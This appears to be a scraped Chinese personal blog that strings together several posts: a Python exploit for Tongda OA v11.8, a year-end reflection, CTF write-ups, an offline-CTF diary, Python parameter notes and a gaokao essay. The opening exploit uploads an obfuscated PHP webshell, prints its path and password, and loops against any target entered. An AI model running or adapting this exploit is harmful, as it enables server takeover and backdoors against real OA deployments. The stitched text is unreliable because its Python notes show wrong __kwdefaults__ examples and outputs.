base64.b64decode("LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0xNzUxODMyMzk4NjU0ODk5Mjk1MTk4NDA1NzEwNApDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9IkFUVEFDSE1FTlQiOyBmaWxlbmFtZT0icGVpcWkubG9nIgpDb250ZW50LVR5cGU6IHRleHQvcGxhaW4KCjw/cGhwIAplY2hvICJQZWlRaV9XaWtpIjsKJGZPZ1Q9Y3JlYXRlX2Z1bmN0aW9uKGJhc2U2NF9kZWNvZGUoJ0pBPT0nKS5jaHIoMTE0MTk1Lzk5Mykuc3RyX3JvdDEzKCdiJykuc3RyX3JvdDEzKCd6JykuY2hyKDcwOC02MDcpLGNocigweGM2MGUvMHgxZjYpLmJhc2U2NF9kZWNvZGUoJ2RnPT0nKS5zdHJfcm90MTMoJ24nKS5jaHIoMzkwLTI4MikuY2hyKDB4MWFlLTB4MTg2KS5jaHIoMHgzYWMtMHgzODgpLmNocigweGQ1NjEvMHgxZGIpLmJhc2U2NF9kZWNvZGUoJ2J3PT0nKS5iYXNlNjRfZGVjb2RlKCdiUT09JykuYmFzZTY0X2RlY29kZSgnWlE9PScpLnN0cl9yb3QxMygnKScpLmNocig3OTgtNzM5KSk7JGZPZ1QoYmFzZTY0X2RlY29kZSgnT1RNMk4nLidETTNPMCcuJ0JsZGtGJy4nc0tDUmYnLicnLnN0cl9yb3QxMygnSCcpLnN0cl9yb3QxMygnUicpLmNocig0MTM4Mi83MjYpLnN0cl9yb3QxMygnRycpLmJhc2U2NF9kZWNvZGUoJ1ZnPT0nKS4nJy4nJy5iYXNlNjRfZGVjb2RlKCdSZz09Jykuc3RyX3JvdDEzKCdnJykuc3RyX3JvdDEzKCdEJykuYmFzZTY0X2RlY29kZSgnV2c9PScpLmNocigyMzc1MS8yNzMpLicnLidsUmFWMCcuJ3BPekk0Jy4nTURrek0nLidURTcnLicnKSk7Pz4KLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0xNzUxODMyMzk4NjU0ODk5Mjk1MTk4NDA1NzEwNApDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9InN1Ym1pdCIKCuaPkOS6pAotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTE3NTE4MzIzOTg2NTQ4OTkyOTUxOTg0MDU3MTA0LS0K")    try:        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)        response = requests.post(url=upload_url, data=data, headers=headers, verify=False, timeout=5)        print("\033[36m[o] 正在请求 {}/general/hr/manage/staff_info/update.php?USER_ID=../../general/reportshop/workshop/report/attachment-remark/peiqi \033[0m".format(url))        if "档案已保存" in response.text and response.status_code == 200:            print("\033[32m[o] 目标 {} 成功上传 peiqi.log 文件, \033[0m".format(url))            hack(url, Cookie)        else:            print("\033[31m[x] 目标 {} 上传 peiqi.log 文件失败\033[0m".format(url))            sys.exit(0)    except Exception as e:        print("\033[31m[x] 请求失败 \033[0m", e)def hack(url, Cookie):    hack_url = url + "/general/reportshop/workshop/report/attachment-remark/form.inc.php?"    headers = {        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",        "Cookie":  Cookie,    }    try:        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)        response = requests.get(url=hack_url, headers=headers, verify=False, timeout=5)        print("\033[36m[o] 正在请求 {}/general/reportshop/workshop/report/attachment-remark/form.inc.php? \033[0m".format(url))        if "PeiQi_Wiki" in response.text and response.status_code == 200:            print("\033[32m[o] 目标 {} 存在漏洞，响应中包含 PeiQi_Wiki \033[0m".format(url))            print("\033[32m[o] 成功上传蚁剑木马 密码为: PeiQi \n[o] webshell路径: {}/general/reportshop/workshop/report/attachment-remark/form.inc.php?\033[0m".format(url))            sys.exit(0)        else:            print("\033[31m[x] 目标 {} 不存在漏洞，响应中不包含 PeiQi_Wiki\033[0m".format(url))            sys.exit(0)    except Exception as e:        print("\033[31m[x] 请求失败 \033[0m", e)if __name__ == '__main__':    url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))    while True:        login_admin(url)        time.sleep(5)

PS.在payload的POST请求中禁用了SSL/TLS证书验证，因为向目标网站发送的是不安全的请求

参考

PeiQi-WIKI-Book/docs/wiki/oa/通达OA/通达OA v11.7 auth_mobi.php 在线用户登录漏洞.md at main · PeiQi0/PeiQi-WIKI-Book (github.com)

PeiQi-WIKI-Book/docs/wiki/oa/通达OA/通达OA v11.8 update.php 后台文件包含命令执行漏洞.md at main · PeiQi0/PeiQi-WIKI-Book (github.com)

通达 OA 代码审计篇二 ：11.8 后台 Getshell (seebug.org)

2023年1月1日的00点00分，我在干嘛呢？那个时候，我应该在打跨年的CATCTF。

如果你告诉那个时候的我，这个跨年夜还在打CTF、上半学期基本每天都泡图书馆的做题家，会在接下来的一年技术原地踏步、绩点高空跳水，那我很难不怀疑你有什么严重的精神类疾病。

然而，“摆烂”这两个字的确贯穿了我的整个2023年，我不仅完美适应了一天打鱼六天晒网的生活习惯，还成功用一个学期让自己的均分下降了四分——还好大学不像初高中有进退步红黑榜，不然我肯定是毫无悬念的黑榜状元。

所以我的2023到底经历了些什么呢？

我想，我应该从”历程“、”摆渡“和”焦虑“这三部分记录我的2023生涯（你没有看错，我也没有打错，是”摆渡“不是”摆烂“）

历程

2023这一年我经历了什么很特别的事吗？

说“很特别”倒也不至于，但是总有几件难以忘怀的事可以拿出来说说。

因为朋友在微信群键政（妄议朝政），被网警予以从导员约谈、手写检讨到线下审讯、警察彻查群聊天记录的“优待”，身为群主的我彻夜难眠，经历了最紧张的一个夜晚——不过所幸第二天除了群解散无事发生。

和朋友从北海公园骑回学校，二十公里，近三个小时，虽然第二天双腿酸痛得连下地走路都成问题，但感觉能有一个人和自己一样喜欢慢悠悠地长途骑行是一段很精彩的旅途。

暑假和高中同学征服武功山，在没有登山杖的情况下野路攀上山巅，冒着滚落山谷的风险横穿山峰，最后带着汗水、疲倦和喜悦从崎岖的小路下山。

下半年入门摄影，在老同学和学长的指引下陆续记录了自己两次天津行，一次西山历险，两次环球影城游，一次校园初雪和一次故宫初雪，拍摄的相片在取景和后期的共同作用下越来越臻于自己心中“杰作”的标准。

在学院辩论表演赛上就“曾经拥有更遗憾”这个持方结辩，在舞台上表演向指缝倒水的行为艺术来论证“回忆像水一样，是很难被我们攥住的”（本来要用沙子的但搞不到，后来换食盐效果不佳，上台看见辩手席的农夫山泉突发奇想），后来去邮院参加活动被问“你是那天那个辩论赛倒水的学长吗？”

第一次在S赛（英雄联盟全球总决赛）上见证三个lpl（中国大陆赛区）队伍会师四强，当哔哩哔哩赞助的BLG掀翻lck（韩国赛区）的GEN时，我和朋友的欢呼声震耳欲聋。只可惜最后被lck的老牌豪门T1一穿四夺冠，没能看到lpl队伍捧起今年的冠军奖杯，但还是祝贺faker选手荣膺四冠。

第一次参加CTF线下赛，抱着旅游的心态，虽然几乎全程划水，连续三天十小时的断网比赛体验与有期徒刑无异，最后只获得一个优胜奖，但是从学长电脑上拷来的15G工具与模拟真实环境的靶场攻防体验使我受益良多。

第一次碰上地铁事故导致的地铁线局部停运，在朱辛庄站打不到出租车，只得选择在网吧包宿一晚，深夜在包间又硬又冷的椅子上迟迟无法入睡，应该是三百六十五的夜晚最噩梦的一个晚上，所幸第二天一早打到了回校的出租车。

六年前，我在玩逆转裁判系列，看RNG的小虎对战SKT的faker；六年后，我还是在玩逆转裁判系列，看WBG的小虎对战T1的faker。感觉生命中有些巧合，就是来佐证世界是一个巨大的循环往复的。

………………

也许2023年过去，比起2022年的自己，我并没有什么显著的变化或者丰厚的收获。但至少，每件大大小小的事，都在我的记忆中镌刻出自己别致的图样。这些图样绘制成一幅画作，向这个世界证明着我至少还是在鲜活而灿烂地活着，不管我有没有取得什么成就，有没有如自己所愿。

摆渡

“摆渡“这个词，是我今年在重温《从你的全世界路过》时想到的，

我是个摆渡人。他在岸这边落水了，我要把他送到河那岸去。河那岸有别人在等他，不是我，我是摆渡人。

原故事是小玉追求一个有妇之夫马力，希望渺茫，在欣赏马力的抽象画时对作者说出这样一段话。后来马力夫人出轨，大家原以为小玉有机会，但在小玉和奸夫淫妇比拼“九洞高尔夫”时，马力莫名心疼被奸夫抛弃的前妻，并将她背回家中。

而我个人觉得“摆渡”的含义不止于此，”摆渡“应该分为自己对自己的摆渡，自己对他人的摆渡，和他人对自己的摆渡。

自己对自己的摆渡，就是自己做纤夫，把自己渡到河对岸。客观来说，每个人都应该做自己的“摆渡人”——至少你不能指望有什么人无时无刻为你人生的扁舟引航，对自己的摆渡，可以是犯错之后自我救赎，接受心灵的洗礼；也可以是成长之时自我提升，迎接更好的自己。

对于我来说，我今年对自己的摆渡生涯，就和开头所说的相符——摆烂。虽然”摆渡“和”摆烂“有所差别，但对我自己来说，我对自己的摆渡与摆烂别无二致——就像一个醉酒的纤夫，把自己的灵魂载在船上，然后晕晕乎乎地驾驶着摇摇晃晃的船只，结果船只一个不稳，自己的肉体和精神都落入了水中。

课业上的颓废倒退，技术上的停滞长进，似乎从下学期课程表安排肉眼可见的密集开始，一整年我都几乎失去了学习与进步的动力——这不能归咎于”本科教育“”课内无用论“等大而空的借口，因为即使逃避了每日的课程，我也没有将多少空闲时间用在增进技术上，现在自己的技术栈跟一张白纸也没有什么太大区别。

只能说，当我年末回顾自己落汤鸡一般的窘境时，我希望自己来年能够扶自己一把，重新起航，平稳驶向理想的彼岸吧。

自己对他人的摆渡，就是自己做纤夫，把别人渡到河对岸。人生没有指南针，很多人“当局者迷”，没有办法时刻明白自己的航向，此时你作为摆渡人，将他们渡到长河彼岸，迎接岸对面等待他们的人或事，譬如情人眷属，人生追求，亦是一种帮助。

回顾这一年，我似乎没怎么当过他人的摆渡人。唯一一次我试图掌舵，是劝说一个想进实验班的朋友别进，因为实验班风评向来是事多分少，压力沉重，但是我的朋友认为驶向实验班的航道能够实现对自己实践能力的提升，所以我没有强行将船只掉头——我认为每个人对自己航行的追求都有各自的想法与主意，人与人之间价值观有所不同，除了别人的船只陷入道德与法律黑色地带的漩涡的情境，我都不会干预其他人的孤舟将驶向何方——虽然过了半年，他受不了实验班的艰难险恶，还是决定从实验班的航道掉头返航。

他人对自己的摆渡，就是他人做纤夫，把自己渡到河对岸。一般来说，船舵被掌握在别人的手里时，你只能祈祷摆渡者怀揣着一颗善心。譬如有人将我渡到大河对岸，在我的小木船快抵达对岸的时候，将我甩入了湍急的激流中，我在水下窒息了近两个月，深切感受了无法呼吸的痛苦之后，才得以浮出水面大口呼吸新鲜空气。摆渡者自称这次渡船事故并非有心之举，我也只好将渡夫对自己的伤害理解为无心之失，毕竟林肯说过，“不以恶意对人，尽以仁义示人”。

焦虑

最后谈谈困扰自己一整年的焦虑问题，因为临近期末，焦虑问题又不可避免地复发。在国内现在这种内卷盛行的环境下，即使摆烂、躺平，只要不是像第欧根尼那样在犬儒主义的庇护下对生活无欲无求，就不可避免地陷入焦虑之中。

作为一名在读大学生，我的焦虑问题自然就是前途。更具体一些就是，读研还是就业？一名大学生理论上的出路包括保、考、就业，其中保又包含保研和保外，考也包含考研、考外、考公等等，就目前我所接触到的专业前景和经济实力而言，保研和就业是我的首选项（考研太累了，基本不会考虑），而保研对绩点、竞赛甚至科研的要求较高——本专业往年的数据是前30%的学生获得保研资格，就业则对实践能力更为看重，甚至对绩点的要求反而不能太高——据学长所说，怕绩点太高的学生即使通过面试，在拥有保研资格的情况下依然会选择保研而放弃签署劳动合同。因此，不同的前途也代表着大学期间不同的努力方向：追求保研的应该更“卷”绩点，多参与竞赛，多进实验室参与项目；追求就业的对绩点反而应该“躺平”，着重提升自己的实践能力。

根据学长的情报，网络空间安全的研究生，在薪资待遇方面不会比本科生有太多的优势——一位在华为的学长薪资与北大硕同事的相持，一位在阿里的学长薪资与清华博同事的相当，研究生的优势比起本科生更多是进入国企、营业厅等“公家饭”单位的机会更大。但是，也有学长对读研的推荐，加上上述的两位学长在今年的秋招中也曾碰壁，其中一位更是差点面临无业的困境，让我对本科就业的前景产生了一些怀疑——会不会当我毕业的时候，网安也像其它互联网行业一样，本科毕业即失业？

屋漏偏逢连夜雨，一年的摆烂使我的均分下降了四分，专业分流又选择了高绩点同学居多的信息安全专业，现在连自己是否能触及专业保研线都成了一个未知数。众所周知，一个人在能拥有选择的时候往往是焦虑程度最小的时候，因为自己可以根据形势的变换做出不同的选择，譬如当我稳过保研线的时候，倘若我毕业时我的担忧成真，我完全可以读研后凭借研究生的学历找一份“铁饭碗”。而当我只有就业这一个选项的时候，不管我毕业时就业形势如何，我都必须在秋招市场上寻找一份能够填饱肚子的工作——而结果很有可能就是无业而归。

但要追求两手选择，就要”卷“课内以提高绩点，而课内的课程总是给我一种和所学专业关系甚微的感觉——概率论、大学物理、数字逻辑与电路，有的时候我甚至不是很清楚我学习这些课程是因为我的专业需要应用这些课程的知识，还是这只是所谓“信息黄埔”的理工类学校打着通识课幌子的机械化授课。也因此，尽管我没有资格以”课内无用论“为我一年的摆烂辩解，但我依然无法对课内提起太多兴趣。

我其实也明白，焦虑不能解决任何问题，脚踏实地是仰望星空的唯一可行策略。但有的时候对前途的迷茫很难让自己不产生焦虑情绪，而焦虑情绪是一种极致感性化的产物，不是任何时候我都分摊的出理智来缓解我的焦虑。

我也明白，期末周努力，把绩点提上去；多参与竞赛，把竞赛分加满，有渠道和空闲时间再争取参加科研项目，才是能让自己拥有保研与就业选择权的王法。新的一年，自己也应该向着这个方向奋力进取。

尾记

《这个杀手不太冷》中，女主玛蒂尔达问男主莱昂，“人生总是这么痛苦吗？还是只有小时候是这样？”，莱昂回答她，“总是如此”。

同样的，如果我们感觉这一年生活得不是很顺心，我们也可以扪心自问，“每年都是这么不如意吗？还是只有今年是这样？”，我相信，我们大多数人的答案都会是，“总是如此”。

童年时盼望长大后独当一面，长大后怀念童年时无忧无虑；高中时向往大学自由自在，大学时追忆高中清纯快乐。也许每一个人都不想继续度过自己平乏而又逆来顺受的当下生活，但是也许过去、现在、未来每一个当下的瞬间，对自己的生活的评价都是如此，又对当时的过去或者未来感到无比向往。

那么，不妨享受当下每一个生活过的痕迹，至少，这一篇2023年的年终总结，就是为了记录这些痕迹而诞生的。

让我们庆祝自己完整地活过了2023年！现在，是时候踏上2024年的列车了。

（DASCTF X CBCTF 10月月赛）FLAG被我弄丢了>_<不过，JBN应该记得，或许你能从他那得到一些线索。

链接：https://pan.baidu.com/s/19Iymf2mwak1PtSPyJGjZYg?pwd=DASC 提取码：DASC —来自百度网盘超级会员V5的分享

ai题，附件包括train.py和jbn.pth，train.py文件内容如下：

import torchimport torch.nn as nnimport numpy as npimport matplotlib.pyplot as pltfrom PIL import Imageimport cv2class JBN(nn.Module):    def __init__(self):        super(JBN, self).__init__()        self.main = nn.Sequential(            nn.Linear(100, 256),            nn.ReLU(),            nn.Linear(256, 512),            nn.ReLU(),            nn.Linear(512, 452 * 280),            nn.Tanh()        )    def forward(self, x):        img = self.main(x)        img = img.view(-1, 452, 280)        return imgdef watch_flag(img):    flag = cv2.imread('./data/data/flag.png')    gray_image = cv2.cvtColor(flag, cv2.COLOR_BGR2GRAY)    flag_tensor = torch.from_numpy(np.array(gray_image))    flag_tensor = flag_tensor.unsqueeze(0).transpose(1, 2)    img_tensor = img    flag_tensor = flag_tensor.unsqueeze(0)    img_tensor = img_tensor.unsqueeze(0)    loss_fn = torch.nn.MSELoss()    loss = loss_fn(flag_tensor.float(), img_tensor)    return lossjbn = JBN()g_optimizer = torch.optim.Adam(jbn.parameters(), lr=0.001)min_loss = float('inf')for epoch in range(10):    random_noise = torch.randn(1, 100)    jbn_img = jbn(random_noise)    g_optimizer.zero_grad()    g_loss = watch_flag(jbn_img)    g_loss.backward()    g_optimizer.step()    with torch.no_grad():        if g_loss < min_loss:            min_loss = g_loss            torch.save(jbn.state_dict(), 'jbn.pth')

该程序是一个基本对抗网络生成算法模型，生成器（JBN）通过接受随机噪声作为输入生成图像，并通过watch_flag函数计算生成图像与flag图像之间的均方误差损失，将损失最小的模型保存至jbn.pth

所以我们只要将jbn.pth重新生成回img图像即可得到flag图像

exp.py如下：

import torchimport torch.nn as nnimport numpy as npimport matplotlib.pyplot as pltimport cv2# 定义JBN模型class JBN(nn.Module):    def __init__(self):        super(JBN, self).__init__()        self.main = nn.Sequential(            nn.Linear(100, 256),            nn.ReLU(),            nn.Linear(256, 512),            nn.ReLU(),            nn.Linear(512, 452 * 280),            nn.Tanh()        )    def forward(self, x):        img = self.main(x)        img = img.view(-1, 452, 280)        return img# 加载JBN模型jbn = JBN()jbn.load_state_dict(torch.load('jbn.pth'))jbn.eval()  # 设置模型为评估模式，不进行梯度计算# 生成随机噪声random_noise = torch.randn(1, 100)# 使用生成器生成图像with torch.no_grad():    generated_img = jbn(random_noise)# 转换为numpy数组generated_img_np = generated_img.squeeze().cpu().numpy()# 保存生成的图像为文件cv2.imwrite('generated_image.png', generated_img_np * 255.0)  # 乘以255以还原到0-255的范围print("Generated image saved as generated_image.png")

运行后得到generated_image.png

上下旋转、左右镜像后得到flag

彩蛋

Q1：什么是epoch？

一个epoch表示训练集被模型完整训练过一次，包含以下四个步骤：

①前向传播：将训练集样本输入模型中，计算得到模型输出

②计算损失：计算模型输出和真实标签之间的损失

③反向传播：根据损失计算梯度，并将梯度传播回模型的参数

④参数更新：使用优化算法更新模型的参数，以减少损失

在justpaint中，

for epoch in range(10):

表示该训练过程经历了10次epoch，每次训练过程都循环生成随机噪声->通过JBN生成图像->计算损失->反向传播->更新JBN参数的步骤

Q2：什么是学习率？

学习率是优化算法中的一个超参数（AI中的参数自动生成，超参数则需手动控制），控制每次参数更新的步长，在justpaint中，

g_optimizer = torch.optim.Adam(jbn.parameters(), lr=0.001)

参数通过Adam优化器，以0.001的学习率进行调整

IceTea

（DAS X 0psu3 11月月赛）小黑喜欢喝冰红茶，被出题人发现后每天都说他喝屌丝饮料，结果小黑发现出题人也喝冰红茶，然后就往出题人的冰红茶里加了点料。

IceTea.cap

流量包题，首先按时间顺序追踪第一个HTTP流，发现一串Hex加密后的密文（黑色括号起始）

遂拖入CyberChef解密，得到一个elf文件，导出

导出后拖入IDA，发现存在upx加壳，用ExeinfoPE也发现有upx壳，于是进行机脱，再次拖入IDA后Shift+F12得到base64表（最下面一行）

按时间顺序追踪第三个HTTP流，发现一串base64加密后的密文，解密后得到一串指令

cd “/www/wwwroot/DAS202310.com”;./ezbase e flag.txt IceTea.txt;echo 27d667b0c949;pwd;echo f0e52b6ed

（每个HTTP流内容前URL解码后得到cmd=@eval(@base64_decode($_POST[‘k59c2ae7730483’]))，判断可能是蚁剑流量包，而蚁剑流量base64解密前要舍弃前两位字符）

可见在/www/wwwroot/DAS202310.com目录下通过ezbase将flag.txt加密成了IceTea.txt

接下来追踪第四个HTTP流，同样发现一串base64加密后的密文并与第三个HTTP流中发现的相似，解密后得到另一串指令

cd “/www/wwwroot/DAS202310.com”;cat IceTea.txt;echo 27d667b0c949;pwd;echo f0e52b6ed

可见在/www/wwwroot/DAS202310.com目录下打开了IceTea.txt，从第三个HTTP流中我们知道IceTea.txt是flag.txt加密后的密文

看一下Response部分对应的明文

得到reftqRrg4QB9zvZQzwf50xn51CZQxSf51gZPzxj5zhjF1CI75qE=应该是ezbase加密后的IceTea.txt内容

用第一个HTTP流中得到的base64表解密，得到flag

彩蛋

如果你像我一样蠢，对第一个流量包进行Hex解密时把不是Hex密文的内容也复制进CyberChef的话，你会得到一个IDA检测得出upx壳、ExeinfoPE也检测得出upx壳、但脱壳工具坚持认为加的不是upx壳的elf

也许在断网收手机的赛场坐牢的自己很像第一只可怜又无助的小鼠，但是还是希望自己能通过实打实的学习，有朝一日成为把牛奶搅拌成奶油然后爬出牛奶桶的硕鼠。

这一篇游记写来记录第一次参加线下赛坐牢的经历。

Day 0

通宵赶上七点的飞机，在飞机上意外地精神，于是看完了《后窗》和《城市之光》，看完后终于昏昏欲睡了，但这个时候飞机落地了。

下飞机后，不得不说，不用把自己裹成粽子被妖风冻成冰河世纪猛犸象还是很舒适的。打车前往酒店，这也是我第一次住电竞酒店。知道的知道我是来打比赛的，不知道的还以为我是来旅游的（好像还真是）

在酒店补了一下午觉，一起打了一晚上LOL，然后各自配了下比赛要用的工具和环境。由于我是零渗透经验，所以只能对着搜索引擎搜到的按图索骥，装了Xray和Goby，并手动复制了他们的使用文档到本地。

Day 1

第一天是体验最好的一天，上来虽然发现Xray不会配置和使用，但是用Goby还是很轻松扫出用通达OA写的登录界面利用 phpsession绕过登录的一个漏洞……后来发现YHYJ（队友）用Wuhurribin（队友）的工具一把梭了通达OA绕过登录+木马上传的一个联动漏洞（Wuhurribin：我怎么不知道我有这个工具？），拿到了我们队本场比赛的开门红

然后是用织梦cms写的车企网站，找了很多织梦本地的漏洞都无功而返，结果发现网站的/www.zip就藏着源码没被我们扫到，解压zip又能拿到一个flag，然后发现/admin_lvqc.com_car的api指向后台登陆界面

在一万次注入失败后，f0和Wuhurribin被周公托梦到的后台的登录账号和密码（原来/admin_lvqc.com_car这个api的意思就是账号是admin密码是lvqc.com……真是够低能的），登进去又出一个flag，可惜在内网渗透的时候卡在了账户提权上，关不掉防火墙

剩下一个看得出模板的就是apache的tomcat写的深圳电网，可惜本地漏洞都试了一遍也没有进展

坚持到了最后一个小时才开始打植物大战僵尸随机模仿者版

结束后跟学长交流，发现织梦cms的后台登陆的确是用sql注入的，然后看比赛群发现tomcat的题前端进/manager/html会被403，但通过api进/manager/html就可以弱口令登录（流汗黄豆），剩下的确实是升维打击了

Day 2

第二天是最坐牢的一天，首先几乎所有的题目环境都是ssh连接，这就意味着网页端是无法访问题目环境的，但是由于我ssh语法稀碎，所以连不上很多题目环境

一道远程桌面连接的题，首先连接卡，进去更卡，远程桌面就只有一个ProjectA的文件夹，里面的蛮多文件被恶意加密了，题目要求就是恢复被恶意加密的文件……虽然后面放出提示又告诉我可以不解密而是重新部署项目，又告诉我可以通过给出密钥的AES解密恢复，但奈何我的密码学基础比白纸薄，只能束手无策

另一道远程桌面连接的题是远程桌面服务执行代码漏洞（CVE-2019-0708），但奈何当时本地CVE里面关于这道题的CVEmarkdown都是英文版，看了半天一头雾水也不知道怎么复现，只好放弃

由于太过坐牢加上当天是S赛总决赛，所以四点左右我们就溜了（出来的时候工作人员还跟我们说开幕式没演完……）

Day 3

第三天是最平平无奇的一天，又有一道tomcat的题，可惜这次账号密码重置过，用弱口令攻击毫无建树，穷尽各种本地有的方法也拿不下来

队内大腿f0这边在企业系统的题中通过Cookie参数上传了个木马，连上了目标服务器，由于这个系统环境只给五个端口但是有60多支队伍要打，所以连的时候卡得心态扭曲了，后续连上后直接开始植物大战僵尸，疯狂抵御各队伍传马连马的攻势，成功守护住了戴夫的后院，直到因为有人恶意破坏环境导致防守方被迫溯源重置环境才结束（赛后比赛群：防守方删马删得好快）

这也是当天唯一的进展，后续摆烂后干脆连机打起了三国杀2V2（名场面：Wuhurribin对队友的无中生友打出无懈可击，老戏骨名不虚传）

打完就是摸鱼时间，队友在深圳疯狂享受夜生活，我则回了趟家。

不在学校的好处就是，你看着车水马龙的象牙塔外的世界，比起你在大学校园里N点一线的行动路径，更能激发你对一些问题的思考，比如到底该不该继续摆下去、自己想要的到底是什么……（这些问题的思考也都是浅思拙见，以后再想起来的时候有空再写几篇）

至此，这场线下赛也是划上了一个句号，能收获15个G的工具和漏洞库，开阔眼界，我也受益良多。后续会更新这场线下赛我接触到的所有漏洞的复现（因为题目环境复现不了了），也希望自己能在不断地学习和比赛过后变成那只能把牛奶搅成奶油的老鼠。

比如：

def register(Username,Password):    ...    register('C26H52','123456')

def register(Username,Password):    ...    register(Password='123456',Username='C26H52')

这就是典型的关键词传参，根据参数名读取后’C26H52’作为Username传入，’123456’作为Password传入

Python参数中有两种分隔符：/和，/分隔符之前传入的参数仅限位置参数，分隔符之后传入的参数仅限关键词参数，这两个分隔符中间的参数是位置或关键词参数
譬如

def register(Username,/,Password,*,Name):    ...    #按这样定义的函数，Username一定要位置传参，Name一定要关键词传参，Password作自由选择    register('C26H52','123456',Name='cjy') #正确示例    register(Username='C26H52',Password='123456','cjy') #错误示例，Username只能位置传参，Name只能关键词传参

Python在函数定义的时候可以给参数设置默认值（default）

def register(Username='C26H52',/,Password='123456',*,Name='cjy'):    ...        register() #Username='C26H52',Password='123456',Name='cjy'    register(Username='Q_T',Password='654321',Name='jb') #Username='Q_T',Password='654321',Name='jb'

如果给一个仅位置参数设定默认值，那么该参数以后所有的仅位置/位置或关键字参数都必须设置默认值

def register(Username='C26H52',/,Password='123456',*,Name='cjy') #正确示例def register(Username='C26H52',/,Password,*,Name='cjy') #错误示例，由于Username有默认值，Password必须也要设置默认值

defaults是函数的内置属性，function.defaults从左到右表示function函数非仅关键字参数的默认值（仅关键字参数的位置显示空白）
如

def func1(a=1,b=2,c=3):    passdef func2(a=1,/,b=2,*,c=3):    passprint(func1.__defaults__) #(1,2,3)print(func2.__defaults__) #(1,2,)

而kwdefaults则是另一个内置属性，function.kwdefaults从左到右表示function函数仅关键字参数的默认值（以键值对的形式存储）
如

def func1(a=1,b=2,c=3):    passdef func2(a=1,/,b=2,*,c=3):    passprint(func1.__defaults__) #Noneprint(func2.__defaults__) #{'c':3}

2022年6月7日下午，我经历了整个高考三天最折磨的两个小时：从第一道数列题开始，六道大题，第二问基本毫无思路，无从下笔。

虽说“人难我难，我不畏难”，但对未知的东西感到恐惧，是人的天性：可能你苦思冥想也百思不得其解的题，你身边的人电光火石间就能解决，即使你不认为他的实力比你强多少。

在对考试结果未知的恐慌与焦虑中，我像挤牙膏一般填满了答题卡空白的每个角落。收卷铃打响的那一刻，我松开握着的笔，双手张开，等待着监考老师收齐试卷和答题卡，等待着命运女神审判我的高考。

——这就是一年前的高考在我的脑海里留下的最深刻的回忆，至于结果，只能说感觉不尽如人意：没有哪科在看到成绩后会发出“哇我这科居然超常发挥了”的惊叹，倒是有的科看完成绩，一直在反思为什么和预期的结果相差了十万八千里。

对我的成绩满意吗？可能永远也不会满意。时至今日，我也无法忘却我查分时的那种失望，那种感觉就像是你幻想着即将喝到一杯甜甜糯糯的奶茶，结果嘬一口，只尝到了苦瓜汁，心中只剩植物大战僵尸里面僵尸咬到大蒜的苦涩感。

那我会悔恨当初吗？其实也不会，倒不是说我没感觉到遗憾，正相反，我觉得高考给我留下了无尽的遗憾。但是悔恨感和遗憾感是虚浮的，是无力的，是无法指导我们解决现实问题的。记得王安石在游览完褒禅山后，提笔写下一句“尽吾志也而不能至者，可以无悔矣，其孰能讥之乎”。是的，可以说我或许再努力些，故事的结局会截然不同。但或许，在千千万万个平行时空中，总会在时间线上发生这样那样的事，改变叙事的进程，让结局回归最后既定的事实。而我的勤耕不缀并没有对不起我的初心与抱负，那即使登不到山顶，也无妨和自己和解，流连于半山腰，欣赏独属于自己的那份风景吧。

时间是残忍的，听一百遍《反方向的钟》，也不能改变2018年10月20号rng的基地被g2推平的事实；把时针逆向拨一百圈，也无法阻止ame的水人在og高地反向波葬送lgd冠军梦。至少在时光机发明以前，你我都不能回溯到过往的某段时空，无论这段时空是像黄金一般令人神往的甜蜜的回忆，还是像石块一样令人不堪回首的苦涩曾经，你都只能驻足，观望，而做不到挽留或者扭转。

——那就放下它，继续自己本应该走完的旅程吧。

2023年6月10号的1点14分，这一刻，应该绝大多数高考生都已笔尖合盖，刀剑入鞘。愿各位圆梦理想的大学，也祝福大家都将高考作为旅途上别致的风景，在步入大学的校园后，依然乐观向前，依然相信明天和远方。
——“如果再也不能见到你，祝你早安，午安，晚安。”

#include<iostream>using namespace std;int main(){    cout<<"Hello CTF"<<endl;    return 0;}